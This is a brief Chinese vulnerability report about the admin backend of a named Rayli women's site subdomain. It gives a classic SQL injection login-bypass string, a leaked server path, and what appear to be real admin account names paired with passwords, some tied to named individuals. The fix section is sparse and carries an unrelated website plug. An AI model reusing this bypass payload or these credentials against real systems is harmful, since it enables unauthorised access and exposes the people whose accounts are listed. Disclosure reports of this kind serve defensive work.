瑞丽女性网分站后台验证绕过+SQL注入+路径泄漏

瑞丽女性网分站后台弱口令+SQL注入，不是废弃的

用'or''=''or''='尝试登录后帐号密码自己就跳出来了
>/data/www/wwwroot/lifestyle/



admin admin
liulongjun liulongjun@rayli
zengyujie zengyujie@rayli
 


admin admin
漏洞证明：
 
 
修复方案：

改密码，www.xuhantao.com，涛涛电脑知识网，过滤参数...


作者 zhk

• 没有相关文章